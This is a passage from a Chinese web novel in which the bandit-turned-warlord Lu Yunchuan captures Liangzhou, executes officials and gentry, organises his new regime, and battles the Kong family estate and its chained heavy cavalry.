五里开外,陆云川听城门爆炸,知道计划已成,当即拔刀呼喊: “兄弟们,城门已破,凉州唾手可得,我将带头冲锋!” “冲啊啊啊!” 五百轻骑兵呼之而出,马蹄声动若雷霆直冲凉州城。 城墙上的郑建,乌纱帽都给震歪了,“快!出城去防御,拉起吊桥来!别让他们进来了!” 当凉城守备军从爆炸声回过神来时,轻骑兵已经踩过吊桥冲进了凉州城。 “杀啊!” 骑兵在瓮城里肆意砍杀,被吓破胆的凉州守军毫无招架能力。 不一会儿,周大彪与胡大勇率领马步兵杀到,破瓮城,登城墙,杀得凉州守军天昏地暗! “凉州已破!投降者不杀!不降者尸骨无存!” “投降!!!” 大势已去,投降是最明智的选择。 半个时辰后,凉州杀声渐止。 胡大勇将“替天行道”大旗狠狠插在了凉州城门楼的最高处。 “陆头儿,好像自离开铁门关以来,咱们还是头一次站在这么高的城墙上看山河啊?” “是啊,江山如画,如此多娇,引无数英雄竞折腰。” 陆云川眺望着凉州全境,心中多少有些澎湃与激动,但绝对不多。 胸有大志之人,莫说是一座凉州城,哪怕是整个雍凉路,整个大昭王朝,都应该波澜不惊。 小场面,小场面…… “传我命令,封锁凉州各城门,受降者不杀,顽扛者杀无赦; 记住了,从夺得此城的那一刻,咱们已不是土匪了,而是替天行道的神兵,进城之后,不许烧杀抢掠,不许欺负百姓; 还有,将郑建,黄廖等凉州士卒权贵,统统给我抓到城门口来,稍后我有大用。” “明白!” 凉州城是雍凉路第二大城市,除治所雍州府之外,最大的政治文化中心、交通枢纽,坐落八万余户,人口三十余万。 突然闯进了一批土匪,百姓必然恐慌。 古语云:“水能载舟,亦能覆舟。” 想要割据一方,安抚百姓,深得民心,至关重要。 而笼络民心最好的办法,便是杀贪官污吏,清门阀士族,从中建立威信与信仰。 下午时分。 凉州城所有百姓都被聚集到了城头,人人疑惑,惶恐,不安。 以郑建,黄廖为首的上百名门阀士族,被五花大绑押来城头。 陆云川高高站在城墙之上,背后“替天行道”大旗随风飘扬,身上大氅微微摆动,脸上的面具严肃冷峻。 “大昭王朝在凉州政权已崩,从今往后将由我陆云川执掌凉城; 过去,贪官横行,门阀霸道; 时下,为民除害,替天行道; 将来,天下大同,既寿永昌!” “今日便以豺狼虎豹之血,浇铸我之誓言,告慰全城百姓!” “斩!” 陆云川大袖一挥,众门阀人头落地,血染城头大旗。 原本百姓的疑惑,惶恐,不安,顷刻间变作了踏实,信仰,敬畏。 第一百零四章 割据一方 为了更好巩固自己的权力,在全城百姓心中建立信仰。 陆云川专门在城头设置了一处“斩官闸”,誓要杀尽天下贪官污吏,替天行道。 此闸刀一经设立,效果极为显著。 短短几日不到,凉州周边县城惊变,被压迫许久的佃农,劳役,冲进官府与地主家里,将乡绅贪官纷纷押至城头。 开闸! 几日不到,替天行道的大旗便已被鲜血完全染红。 接下来,便是如何治理凉州了。 关于人口财政方面—— 人口是割据一方的基础。 有人,才能种地,才能有税收,才能壮大军队。 陆云川将乡绅地主全部没收,由军队统一管理,并以官方发出通告,凡入驻凉州者,可按人头分得永久田产,且免交赋税两年。 牺牲地主阶级的利益,为农民百姓发放福利,给自己财政增加收益,可谓一举三得。 此告令一经发出,再加上“替天行道”的口号,大批因战争流离失所的流民,佃农,拖家带口进入凉州城,甚至于雍州的百姓也都闻讯赶来投奔。 至此,凉州人口迎来了一轮暴增。 关于军队扩招方面—— 夺得凉州城后,收编了凉州四千守军,以及那些边军溃兵,共计有将近三万,再加上白顶山,黑云山,白水涧,故人庄等自己的势力。 眼下陆云川已手握五万之师! 对于一个初级割据政权而言,五万军队已经够够的了。 凉州毕竟只是一个州,要是军队规模再大一点,肯定是养不起的。 因此陆云川暂时不打算扩招军队,而是想办法将这五万之师全部变成精兵。 兵不在多,而在于精。 甲胄,兵器,战马,战术,火器……这些东西都需要花时间去打造,制作,沉淀。 关于政权方面—— 占山为王的“土匪集团”摇身一变成了割据政权。 有城,有墙,有地,有人,诸多因素合并之后,才能真正意义上施行“筑高墙,广积粮,招兵买马缓称王”的大策略。 现在称王,为时尚早。 “王”这个词,太过显眼,也太高调。 以凉州的小体量,还不足以建立王国。 “城主”则要比“国王”低调得多,性质却大致相同。 因此陆云川自封为“凉州城主”,以绝对权力对凉州进行独裁统治。 那些跟随自己的“原始股”骨干,则成为了拥护统治的核心班子。 让胡大勇,孙铭负责管理白顶山; 让沈风,许畅负责管理黑云山; 这两座山可是陆云川的老家底儿,退一万步来讲,倘若有一天自己争霸失败了,还可以退回寨子东山再起。 因此这两座山必须交给最信赖之人。 胡大勇与沈风骁勇善战,孙铭与许畅出谋划策,由他们镇守这两座山关,蛮子休想从山南逾越阴山半步。 让张三儿,徐三通,继续管理白水涧,控制黑河流域。 黑河从蛮国起源,流经大昭西北,连通西南苗国,是整个西部最重要的水脉之一。 在交通不发达的当代,谁若能控制水域,谁便能控制漕运,灌溉,泄洪,商贸,军事民生都极为重要。 白水涧所控制的六十里黑河流域,已经满足不了陆云川的野心, 造战船,造火器,造水师,北上蛮国,西下苗疆,八十里!一百里!两百里!乃至于黑河全流域未来他都要握于掌间! 让崔世军,马山等核心庄客,在凉州境内增设“故人庄分庄”,取代地主豪绅,成为土地管理者。 今后州县城以外的乡,镇,村,店,分配土地,维护治安,征收赋税等,全部都由故人庄来负责管理。 让李良等原平川县官吏们,负责凉州州、县城的民生管理。 李良为人清正廉洁,他麾下的那一班子人,也都不会太差,让他们来管理城市,再合适不过。 陆云川则稳坐凉州城,独揽凉州最高军政,麾下设周大彪,宋康,刘伟,陈世钊四名将军,四个守备军,分别镇守凉州城东南西北四个城门。 其余的霹雳堂,千目堂,匠作堂,鲁班堂等,领导层维持不变,继续进行扩充。 关于外患方面—— 自大败王彦三万边军后,雍州府方面就没了声儿,应该是元气大伤了。 王彦这三万边军可都是精锐,哪怕是皇帝知道了这消息,估计都得吐一口血出来。 再加上春季天气回暖,蛮国在关外摩拳擦掌,袭扰不断。 短时间内雍州府已没有多余精力再来征讨凉州。 不来打扰当然最好,陆云川刚吞下凉州这块“大肥肉”,消化也需要花上好长一段时间。 …… “陆头儿……我们……我们舍不得你!” 城门外。 胡大勇一把抱住陆云川,眼泪吧嗒吧嗒往下流。 沈风等其他骨干也都眼眶红润。 男儿有泪不轻弹,只是未到离别时。 “好,好了,又不是生离死别,白顶山离凉州也就一百来里路,快马一日便到了,想跟我喝酒了来便是。” 陆云川拍着胡大勇的后背安慰,他的内心何尝不感触? 可是天下无不散之宴席,总得有人留在凉州主持大局,总得有人回到山上镇守一方。 “那……说好了,每个月的初一,我们都要来找你,你可不能不见!” 胡大勇抹着眼泪说道。 “行行行……还有啊,从今天开始,诸位兄弟那都是镇守一方的老大了,可别忘了成家立业,回去多娶几个老婆,多生几个儿子!” 陆云川拍着眼前兄弟们的肩膀笑着一一叮嘱。 “那陆头儿,今后你得让夫人多生几个女儿才行了,不然跟兄弟们结亲结不过来……” “哈哈哈……好!我也回去努力,争取十八年后,咱们都做亲家!” “哈哈哈……” “走了!” “告辞!” 众人相互抱拳,在笑与泪中,就此告别转身。 陆云川在城门口目送众人,直至背影模糊,又赶紧跑到城墙上,拿起望远镜,直到他们身影彻底消失在地平线,才揉了揉被风沙浸湿的眼睛。 天地之大,人心比邻,重情重义之人,总能再度相逢。 “诸君,聚是一团火,散是满天星啊!” 陆云川仰天笑叹一声,大袖一甩走下城头。 大昭历,安庆十六年春,陆云川以凉城之主,执天道大旗,正式割据一方。 …… 第一百零五章 一诺千金 凉州城,云清宫。 这座宫殿原本是旧西凉国的王宫,后来西凉国被大昭王朝所灭,王宫也就保存了下来。 陆云川也没想过给自己修个宫殿,干脆就捡个现成儿的住了。 此刻,后宫庭廊。 “没想到将牛乳与红茶相结合,竟能兑出这么好喝的东西……” 李婉清捧着一杯热乎乎奶茶猛嗦了一口,好喝到让她脸红。 奶是原产奶,茶是大红袍,珍珠是要阿胶所做,三者混合在一起,就是一杯纯天然“珍珠奶茶”。 “下回教你做蛋糕。” 陆云川也手捧着一杯,安静陪在李婉清身旁,肩并肩漫步在后花园。 临近二月天,迎来倒春寒,今日又下了一场春雪,尽管不如寒冬腊月那般残酷,依旧冷得让人卸不下棉衣。 这几天的日子相当平静。 陆云川也挺享受这份宁静,打打杀杀的日子虽然热血,平平淡淡的日子一样醉人。 “哎……夫君,你说,我们是不是该考虑下一步了?” 李婉清突然顿下脚步。 “我下一步是攻取雍州城。”陆云川说道。 “不是……” 李婉清挤了挤嘴角,扭过头来,目光闪烁,“我娘说了,男人成家立业只是第一步,还有下一步呢……” “下一步……”陆云川挑眉毛,“不就是扩大自己的家业嘛?” 李婉清跺了两下脚,“你真不懂还是假不懂啊,成家立业的下一步,自然是,自然是生儿育女了!总的来说,我娘她想抱孙子了!” 原来是想生娃了啊。 陆云川挠了挠头,他今年都二十四了,在古代搞得快的男人,娃儿都生三胎了。 “那么,你想不想?” 陆云川俯身低头,凑近李婉清耳旁。 羞得娇妻一哆嗦,赶紧背过身去,脸颊红到了耳根间,“我才不想呢……” 果然被滋润过的女人就是不同。 她现在的模样,不论是仪容举止,还是穿着打扮,都像极新婚少妇。 润,珠圆玉润。 “日后再说吧……” 生娃这种事,还是得讲究个顺其自然。 眼下陆云川的身体正值春秋鼎盛之年,想生个娃来传宗接代,那不是分分钟的事么? 不对不对,分分钟不太吉利,控制在半个时辰最好。 “先生,有个叫赵猛的,在宫门外求见!” 苏萍儿小跑进庭廊。 赵猛? 在俘虏的众多边军中,除了他之外其余都全心全意归顺了,今日特地来找是为何? “将他请到我的书房里来。” “好嘞。” …… 辗转书房,赵猛已在房中等待。 赵猛曾是王彦麾下的偏将,官阶达到了从五品,在众降将中算是品阶最高的,武力也是首屈一指。 他年轻,勇猛,有军事才能,偏偏脾气也最倔。 也就是陆云川爱才如命,才留下了他,不然换做其他人,早就军法处置了。 “西城,南城,两大军营里的刘伟与陈世钊,先前都是官兵降将,我欣赏他们的本事与能力,不计前嫌让他们当了统帅。” 陆云川背手站在窗前,望着淅淅沥沥的雪絮,“为何偏偏你却这么倔?” 赵猛羞愧低下头,犹豫了片刻才道:“我此番来,就是想跟城主说这件事。” “哦?”陆云川欣喜回头,“怎么?你愿意归顺我了?” “有一个条件……” “但讲无妨。” “王彦将军,平日里待亲如兄长,他战死沙场,马革裹尸是宿命,可若埋骨他乡,故土难归,我实在不忍!” 赵猛单膝跪地,咬牙恳求,“我想将王将军的尸骨带回雍州交给其家人,若城主答应,赵猛归来后必定誓死追随!” 听到这话,陆云川皱眉了。 王彦宁死不屈,自刎而亡,的确应该让他魂归故里,落叶归根。 可万一赵猛一去不复返怎么办? 但转念一想,就算不同意,赵猛也不会心悦诚服于他。 几番思量之下,陆云川扶起了赵猛,“你回来也好,不回来也罢,你有这份忠义,我便敬你是条汉子; 王将军的尸体,我一直让人冰封,就是没找到合适人将他送回去; 稍后我令人备马车,造三尺厚檀木棺椁,另派三十人随同,与你一起送他魂归故里。” “城主……” 赵猛紧紧握着陆云川的手臂,坚定道:“不用那么麻烦了,我一人一马,背着王将军回去,将尸体送到他家门口便回来! 三日!三日之内必回,若违背此誓,天打雷劈,不得好死!” “我等你。” 一诺千金,三个字,足矣! “末将,告退!” 赵猛抱拳,深拘一礼,退出书房。 不久后,崔世军与刘伟,一同找进了书房。 “陆头儿,遇到麻烦了。” 崔世军进门边道:“我们本来打算在凉州以北的河曲镇方向,新增添一座故人庄,岂料才刚将木材运过去,便招到了孔家庄的驱逐, 木材全被他们烧了,还被他们打伤了十几个民夫,打人者还放话,‘河曲镇’是孔家庄的地盘儿,凉州若敢再涉及半步,下次就直接杀人了!” “哦?孔家庄,这么嚣张么?” 陆云川饶有兴趣坐回了椅子。 原先就知道这凉州境内有“三黑”与“三白”。 三黑其中的黑云寨,黑水涧已经覆灭,只剩下最后一个黑虎崖。 而三白中的孔家庄,李家庄,悲鸣寺由于离得太远,一直都没怎么多接触过。 这些“三白”庄子,就是背靠官府的家族式黑帮,势力与嚣张程度比土匪有过之而不及。 原先王天魁攻打白水涧,就是从这孔家庄借的民兵,直到现在白水涧中还有孔家庄俘虏在干苦役呢。 如今陆云川得了凉城,小地主收拾得已差不多,剩下这些制霸一方的大地主还在上蹿下跳。 “刘伟,你以前曾是凉州官兵副将,应该对这‘三白’很熟悉吧?说说看。”陆云川问道。 “嗯,我此次陪同崔兄来,就是为了向当家的汇报这些信息。” 刘伟顿了顿,讲述道: “先说这孔家庄吧,它是‘三白’中势力最大的堡寨,与雍凉府的经略使孔嵩是本家人; 正因为官府背景强硬,孔家庄在凉州迅速发家,庄客有三千人多人,兵精粮足,兵强马壮,控制着整个河曲镇的商业民生; 其中孔家庄最大的产业便是贩马; 河曲镇临近黑河,水源丰富,草原茂盛,极其适合养马畜牧; 孔家庄所养的‘河曲马’,是除了蛮国外,西北最好的马,大昭边军所装备的战马,有超过半数都是来自孔家庄。” “什么?孔家庄有好马!” 陆云川激动得从椅子上站了起来,原本没关注过这些堡寨,今日听到这消息很难不让人兴奋。 他做梦都想买到好马,用来建立属于自己的重骑兵,无奈蛮国在打仗,西域胡马又太远。 刘伟说道:“昔日边军里的骑兵,用的便是河曲马,虽然赶蛮国马还有一定差距,但也是西北之最了,据说河曲马,最高可披重甲四十斤!” 人具铠,马具甲,重甲骑兵,横扫天下! 孔家庄的河曲马,陆云川是要定了。 第一百零六章 先礼后兵 “李家庄相比较孔家庄,规模则要小上许多,也要和气许多, 李家庄是以做边关贸易为主,先前大昭与蛮国没打仗时,李家庄管理着雍凉路最大的一家‘榷场’; 皮货,药材,茶马,珠宝,食盐,李家庄都有涉及; 李家人非常会做生意,不喜欢打打杀杀,庄客不是很多,也没有孔家庄那样兵强马壮,但他们肯定是最有钱的。” 刘伟顿了顿,继续道: “然后是悲鸣寺,听名字便是个佛门之地了,坐落于凉州西北方的云峰山上; 悲鸣寺是西北最大的寺庙,里面有两千武僧护院,佛门中很多武功高手,他们平日里不出来参与斗争, 但这些和尚吧,都挺假的,表面吃斋念佛,背地里也在发展势力; 云峰山脚下,有八千亩良田,全部是悲鸣寺这些和尚的产业; 而且据说这悲鸣寺与黑虎涯还有一定关系; 黑虎涯的黑虎山,距云峰山仅仅只隔了两座山头,两家实在有些太和睦了,很难不让人怀疑他们有联系; 但是西北这些高官家眷,都特别信佛,每逢初一十五都要去悲鸣寺里上香,久而久之这座寺庙反倒成了被人敬仰的存在了。” 和尚? 剃了光头,烫几个疤,念几段经,就是佛门中人了? 真正高僧实在太少了,反倒是打着出家人名义招摇撞骗,愚弄世人者居多。 “方才提到了黑虎涯,那我便再跟当家的说一说黑虎涯吧。” 刘伟又讲: “黑虎涯是雍凉北部最大的土匪山寨,聚众至少五千人,整个阴山以北的,包括黑河流域中上游,都是他们的势力范围; 对于这种体量的匪寨,官府向来是捧着的,哪怕他们杀人放火,只要死的人不多,官府都能睁一只眼闭一只眼; 黑虎涯最大的产业便是盐矿,他们开采盐矿,明目张胆卖给李家庄这些盐场,从中获取巨额财富。” 孔家庄的马。 李家庄的货。 悲鸣寺的地。 黑虎涯的盐。 通通是陆云川要的东西,但饭要一口一口吃,那么就先从孔家庄“动筷”吧。 “陆头儿,孔家庄这块硬骨头,就得收拾服帖了才行,何况上回他们还帮助王天魁来攻打咱们水寨,实在太可恨了!” 崔世军提议道:“如今咱们兵强马壮,何不直接发兵,给那孔家庄屠了!” “不急。” 陆云川说道:“我不仅要孔家庄的河曲马,他们培育技术,驯养技术,兽医技术,我通通都要收入囊中。” 而且孔家庄背后有经略府撑腰,太贸然去攻打,只怕也不会太容易。 谋取利益不一定非得要用战争去解决。 比起打仗的劳民伤财,哪怕花点钱去购买又何妨呢?反正他现在有的是钱。 “这样,咱们不妨先礼后兵。” 陆云川吩咐道:“世军,稍后你派遣四个人,携带四封拜帖,分别送往孔家庄,李家庄,悲鸣寺,黑虎涯,去探一探他们的口风。” “明白!” 道理很简单。 若接受拜贴,那就一起上桌吃饭,大家各谋其利,一起发财。 若不接受拜贴,那就什么好谈的了,直接掀桌子,打到服为止! …… 次日。 这几个堡寨离凉州城都不算特别远,消息一日都可来回。 崔世军气冲冲来找。 “哎呀!陆头儿,我昨天便说了,孔家庄那帮杂碎根本就不能对他们客气!” 崔世军咬牙道:“我们送去的拜帖,直接便被撕了,还将咱们的使者打没了半条命,放狠话说‘有种就来,叫我们有来无回’!” 陆云川眉头紧皱,这是连一点儿脸都不给么? “李家庄,悲鸣寺,黑虎涯态度如何?”他又问。 “悲鸣寺回拒了,理由是‘佛门中人不问世事’;黑虎涯连山寨门都没让我们进去,使者只好无功而返了; 倒是那李家庄收了拜贴,不仅如此,还回了一盒千年人参,这做生意的人和那群黑帮不一样啊。” 崔世军从袖中摸出一个锦盒递给陆云川。 陆云川拿过锦盒打开,确实是一株人参,有没有一千年成分不清楚,至少他们态度是有的。 黑虎涯与悲鸣寺可以暂时留意,李家庄可以合作,至于孔家庄么…… “传我军令,起马步兵五千,我亲自挂帅,刘伟,周大彪作先锋,明日一早,攻打孔家庄!” “陆头儿,孔家庄那些杂碎,昨日打伤了我故人庄十几个民工,我得报仇,我也要作为先锋!” “好,算你一个!” 陆云川又道:“对了,稍后让人书信白水涧,让张三儿将先前俘虏的孔家庄客全部带来凉州城,我有大用。” “明白!” …… 次日卯时,点兵点将。 白水涧也用大船,将四百名孔家庄俘虏送到了渡口。 天蒙蒙亮,陆云川亲率五千天兵,向北方孔家庄进发。 “世军,前日烧咱们木材,打咱们民工的人是谁,你可还记得是谁?” 陆云川在马背上问道。 “我当时没在场啊,庄客也没去多少,不然哪儿能叫他们活着离开!” 崔世军说道:“不过听回来的民夫说,那人三十七八岁,骑着一匹黑马,手持一柄斩马刀,带了二十几个人,应该在孔家庄里算是个人物。” “嗯……” 陆云川抿唇思考了片刻,“这样世军,你与十名军中将士脱下铠甲,再推一辆板车,割些草料将兵器藏好; 咱们装作民工,继续去修缮故人庄; 大彪,你带五十名骑兵,悄悄跟在我们身后,不要太远也不要太近,保持三里距离即可; 孔家庄那厮既然敢放狠话,肯定会再来找麻烦,到时候咱们给他来个出其不意,刀刀见血,为前日那些民工报仇。” “好啊!” “陆头儿,我还以为你当了城主,便不动刀子了呢,没想到还是会快意恩仇!” “哎,陆头儿我,向来不记仇,有仇当场必报!” 匪性这个东西,亦正亦邪,一定得继续保持。 唯有手起刀落,见血封喉,那才叫做爽快! 第一百零七章 攻打孔家庄 “陆头儿,就是这里,故人第九庄的建筑位置。” 崔世军指了指眼前一片开阔的空地,有树林遮阴,两里外有水源,五里外有集市。 风生水起,风水宝地。 很适合建立庄子,同样也适合养马。 “都建到故人第九庄了?” 陆云川着实被这个基建速度给惊讶。 “是啊,我计划建十八个庄子呢,这才一半没到,便遇到了阻隔。” 崔世军来到建筑工地,用手拿起一块烧焦的木头,“这些可都是从山上砍下来,上好的圆木,就这么被烧了……真是可恨。” 他扔去焦木又说:“听附近的村民,这里原本都是住户与良田,后来孔家庄为了扩建自己的马场,强行占据了这片地皮,一两银子都没舍得给; 这孔家庄啊,就没有一只好鸟儿!” “哒哒哒!” 言语之间,忽然远方传来一阵疾驰的马蹄声。 “呔!” “哪里来的杂碎,竟敢闯我孔家庄马场!” 二十几日快马飞奔而来,领头大骂的是个年纪三十七八,长相黝黑的粗糙汉子,他一边扬鞭策马,一边挥舞手中狼牙棒,抖动脸上横肉,一副吃人般凶神恶煞。 “陆头儿,前日打伤农夫,焚烧咱木材的,估计就是他了。”崔世军攥拳说道。 包括陆云川在内的十二人,不由自主往板车靠近,以便能随时拿起武器反击。 黑脸糙汉很快便将陆云川等人包围。 “问你们话呢?哪来的!为何擅闯我孔家庄马场!” “你又是谁?”陆云川问道。 “连老子都不知道?”黑脸糙汉傲声道:“听好了,老子乃是孔家庄团练教头,‘催命鬼’崔进!这一带的马场,都由老子在管!” 催命鬼……这外号一听,就是一副死人相。 “你的马不错。” 陆云川扫了一眼崔进胯下的黑鬃烈马,雄壮,高大,肌肉线条完美,这便是河曲马么?真不错。 不仅是崔发的,其余庄客的坐骑,都是一等一的好马。 “看你们的样子,难道与前天那批民工一样,是来建庄子的吧?” “是。” “看来光打你们一顿还不管用了,今日让你们见见血——” “未必是你先见血!” “动手!” 陆云川等人迅速拔出藏在草料下的刀枪,趁那些庄客没注意,率先便刺死了三人! “吃了熊心豹子胆了!敢杀我孔家庄的人!给我剁了他们!” 崔进狼牙棒挥舞,借着马背优势,朝陆云川砸来! 陆云川当然不会硬顶,扭身边闪到了一旁。 “不必与他们硬拼,边打边闪!” 收拾他们之人,马上便能赶到。 “凉州天兵,周大彪在此!” “杀啊!” 埋伏在三里外的周大彪等五十骑兵同时冲杀而出。 “嗖嗖嗖……” 先一轮骑射,放到对面六七人,而后分散两翼,左右迂回包抄夹击。 “不好,有埋伏,快撤!” 崔进见敌众我寡,招呼便要撤退。 撤? 往哪里撤? 周大彪等骑兵完全锁死了任何退路。 “受死!” 周大彪也是用狼牙棒的,全力一击砸向崔进。 崔进竟也不闪躲,抬手狼牙棒就要硬扛! 但双方力道明显差了一大截,两棒交接的刹那,“嘭!”震出一道火花,崔进连人带棒打下马背,重重摔倒在地,滚了三四圈不止。 “哼,我还以为是个高手呢,不过如此!拿命来!” 周大彪就要给其致命一击。 “大彪,暂留他一命,我有大用!”陆云川即刻招呼。 周大彪收了些力道,一棒砸在崔进背上,当即叫他口吐鲜血,昏死了过去。 其余庄客,一个不留。 “陆头儿,这匹黑马着实不错啊。” 崔世军牵着崔进的黑鬃马走到陆云川面前。 这么久以来,陆云川还没有属于自己的坐骑,这马他甚是喜爱。 “从今日开始,你便叫做‘黑旋风’了。” 陆云川轻抚马鬃,翻身骑上马背,转头问道:“大部队到哪儿了?” “已至十里开外!”周大彪道。 “传令加快行军,将这些庄客头颅,全部割下,高调过境河曲镇。” “明白!” 半个时辰后。 凉州大军抵临河曲镇。 孔家庄多半是收到了消息,当兵临寨门时,其庄客已缔结好防御。 河曲镇是一个小镇,但在孔家庄多年经营下,已修成了堡垒,有不亚于县城的高墙,还有一条三丈宽的护墙河。 庄客身披战甲,刀枪弓弩应有尽有,是一支很强大的地方武装力量。 城墙上,一个留着山羊胡,年纪四旬的黑衣中年人,便是孔家庄主孔四海, 孔四海身旁还站有一人,身穿银色铠甲,头戴红盔樱,俨然一副正规军将领模样,雍州马军统制,王横。 “将孔家俘虏驱赶到阵前来。”陆云川招呼道。 原先被俘虏的四百名孔家庄客,全部给驱赶到军阵前面,若强攻开战,便可将他们充当肉盾。 “孔庄主,陆某不是战争狂人,凉州大势已去,你又何必执迷不悟,快快开门投降,免遭一场杀戮浩劫!” 陆云川冲城墙上喊话。 “呸!贼叛军,尔等一群乌合之众,也敢来攻我孔家庄!” 孔四海态度嚣张强硬,“识相的便将我家庄客放了并下马受降,否则叫你们尸横遍野,搅作肉泥,充当马料!” “看来今日这场交锋是在所难免了,那这样如何?在开打之前,我们不妨先做个生意。” 陆云川指着阵前的孔家庄俘虏,“一个庄客,换一匹马,四百个庄客,四百匹马。” 马和人命,哪个贵呢? 孔四海若愿意以马换俘,陆云川白得四百匹河曲马。 孔四海若不愿意换,这四百俘虏便注定成为炮灰,其他庄客看了这番场景,多少会动摇对孔家庄的信仰。 这场交易是阳谋,陆云川横竖不亏。 阵前的孔家庄俘虏们,都期盼望着孔四海,至少在他们心中,人命肯定比马重要。 可是…… “呵,想赚我的马?你想得倒美!” 孔四海断然拒绝,并冲城下喊道:“各位孔家庄客听着,为庄子牺牲乃是荣誉,来日录入族谱,我亲自给你们烧头香!” 一匹好马五十两,四百匹两万两。 人命如草芥,哪有马命贵? 荣誉?头香?冠冕堂皇,虚伪至极! “斩首,祭旗,冲锋,破庄!” 陆云川当即令下。 卫兵拖来崔进,一刀削首,血染大旗! 第一百零八章 铁马连环阵 四百俘虏庄客,被骑兵当作肉盾驱赶,不得已往前奔跑。 “放箭!”孔四海下令。 “可是庄主……那些庄客中有不少是咱们宗亲啊!” “宗亲又如何?若庄子被破,你我都得死于叛军之手!” 孔四海面目狰狞,“快快放箭,不从者,家法处置!” 哪管人命死活?直接放箭射击! “嗖嗖嗖……” 一阵箭雨之下,前排俘虏死伤过百! “啊!” “三哥!三哥是我啊!” “二叔!二叔救我……” 同宗同源又同骨,惨叫声中除了绝望还有失望。 连陆云川都不禁皱了眉头,虽说战争无情,但下得去手也是够狠。 “云梯,盾兵,跟上!” 有了肉盾做掩护,排头兵很快便摸到了护墙河边,搭上云梯,铺上木板,快速架起木桥便要渡河。 就在这时,寨门突然打开,吊桥也缓缓放下。 只见寨门内飞奔驶出一支黑甲骑兵,战马全身披挂铁甲,快速在城墙下队列缔结。 二十匹为一队,用粗铁链相连,阳光照在铁甲上,反射出刺目的寒光。 “哼,听说王将军都已败于你手,那么今日我王横的两千铁马连环军,倒要讨教一二了!” 王横上前一步,银甲在阵中格外醒目,身上甲片铿锵作响。 好雄伟的铁马军阵! “哈哈哈……孔老相公早就料到,你这贼叛军在得了凉州后会来打我庄河曲马的主意,故而在两天前便已抽调王将军的铁马军来驰援!” 城墙上孔四海得意大笑,冲城下王横道:“王将军,让这些贼叛军瞧瞧你金戈铁马的实力!” 王横的狼牙槊猛地向前一指:"铁马军,冲锋!" 大地开始震颤。三千铁骑如黑色洪流般涌来,铁蹄踏地的轰鸣声震耳欲聋。 那些被当作肉盾的孔家庄客,腿都在发抖,纷纷扭头向陆云川军阵逃跑! "放箭!" 箭雨呼啸而出,却在铁甲上纷纷弹开。 “火药!” 投弹器扔出瓷罐,在铁马阵中炸开,强大的爆力,使得前排数十名铁甲骑兵倒地, 但浑身肉包铁的重甲骑兵,防御力实在太强,一波火药轰炸下来,虽有死伤,却效果甚微。 眨眼间,铁骑已追上最前排的孔家庄肉盾。 铁链横扫而过,将十几个俘虏拦腰扫倒,最触目惊心的是那些被铁链拖行的尸体,在黄土地上划出一道道长长的血痕。 惨叫声撕心裂肺,俘虏被践踏,被拖行,被撕碎…… “当家的,我们该怎么办?” 周大彪握着狼牙棒的手微微颤抖,这铁马连环军的画面冲击感,实在太强太强。 列阵在前的盾兵们,都不自觉地往后退了退,手中的木头盾牌,岂能抵挡得了铁疙瘩? 恐怖影响士气,正面硬碰硬,必定会吃大亏。 陆云川也没料到,对面竟然会请来这么一支劲旅。 “我方劣势,先撤。”陆云川下令道。 “撤!” 令旗一挥,后军变前军,迅速往后撤退。 “怎么?连交锋都不敢么?贼叛军,也不过如此!”王横得意大笑。 “王将军,穷寇莫追,守卫庄子即可!快快回庄吧!”孔四海在墙上喊道。 铁甲太重,不能长距离冲锋,王横没有选择追击,大手一挥: “解链,收兵!” 骑兵解下马鞍上的铁链连环,全部退回了河曲镇。 陆云川这边也已后撤至安全距离。 “没想到雍州府连用来对抗蛮国骑兵的铁马兵都调来了,这孔家庄一时半会儿怕是啃不下了……” 周大彪难免有些丧气。 “今日是我没有准备充分,小小铁马兵而已,我自有妙计破之。” 陆云川用望远镜打量着远方回撤的铁马军团, 毫不夸张地说,在看到这些重甲骑兵登场时,他口水都差点儿流了出来。 身披铁甲,刀枪不入,冲锋陷阵,若自己也能造出一支这样的“钢铁洪流”,开疆拓土的进度又能再往前跨一大步! 河曲马,铁甲兵,一个都跑不掉! “回城,来日再战。” 今日虽没攻下孔家庄,却也没什么损失,唯一可惜的是那四百多个孔家庄俘虏,竟死在了自家人的无情铁蹄之下。 回到凉州城。 陆云川将自己关在了书房,开始绘画克制重骑兵的利器——钩镰枪,斩马刀。 这铁马连环阵,弱点很明显。 其一,负重过大,人马皆披重甲导致行动迟缓,转向困难,尤其在复杂地形,或雨天泥泞中极易陷入被动。 其二,依赖阵型,需保持密集冲锋队形,一旦被分割或打乱阵型,难以快速重组。 其三,马匹易疲劳,重甲对马匹体力消耗极大,长时间作战或连续冲锋后,马匹耐力下降,冲锋威力锐减。 其四,依赖补给,维护重甲铁骑兵需要大量资源,医,食,住,行,都得面面俱到。 毫不夸张地说,养一名重骑兵,比养一百口活人还要费钱。 只要知道弱点,便可针对作战—— 重弩与火箭,射击铁甲骑兵的薄弱部位,如马腿、面部缝隙,或使用火箭焚烧其装甲下的易燃物。 炸药与火油,利用爆炸与燃烧,制造混乱,破坏其阵型。 钩镰枪与斩马刀,用长柄钩镰枪拉拽骑兵,或专砍马腿,破坏其下盘稳定性。 重斧与铁锤,针对铁甲,使用钝器,如铁锤、狼牙棒等,通过震荡伤害杀伤铁甲内的士兵。 “来人。” “城主有何吩咐?” 千目堂探子应声来到书房。 “这三封密信,分别送往匠作堂,霹雳堂,白水涧。” 陆云川递出三封密信。 “是!” 探子接过密信揣好退出书房。 让匠作堂火速打造钩镰枪与斩马刀。 让霹雳堂制造分量更大的炸药与燃烧瓶、鱼火油。 让白水涧沿黑河北上,破坏河曲镇附近牧场的水源,草料,生态。 让探子借题发挥,编制“孔四海残害宗亲”的民谣进行传唱。 阴谋,阳谋,妙计,毒计。 多管齐下,看你如何去防? 第一百零九章 踏破铁鞋无觅处 三日之后。 第一批钩镰枪,斩马刀,重斧,狼牙锤共计四百件。 三倍分量的炸药与燃烧瓶,各制得五百枚。 重弩,投石车,投弹器,云梯各二十部。 通通被送入凉州城。 “嗯……不错,不错……” 陆云川拿起一柄钩镰枪,枪长丈二,头带倒钩,锋利无比。 可是光有枪还不够,破阵还必须得有阵法才行。 陆云川将城防四个将军全部叫到了帐下。 “诸位,可有会使钩镰枪的?” 四个人面面相觑。 周大彪用的是狼牙棒,宋康用的是红缨枪,二人都善于马战,陈世钊是掘子军出身,只有刘伟陆战水平比较高。 “你们别看我啊,我虽是步军校尉,可从来没排兵布阵过……” 刘伟连忙摇头。 “我倒是善于使用长兵器,可这红缨枪主要是穿,捅,刺,钩镰枪是钩……技巧完全不一样,战术就更别提了。” 宋康颇为无奈。 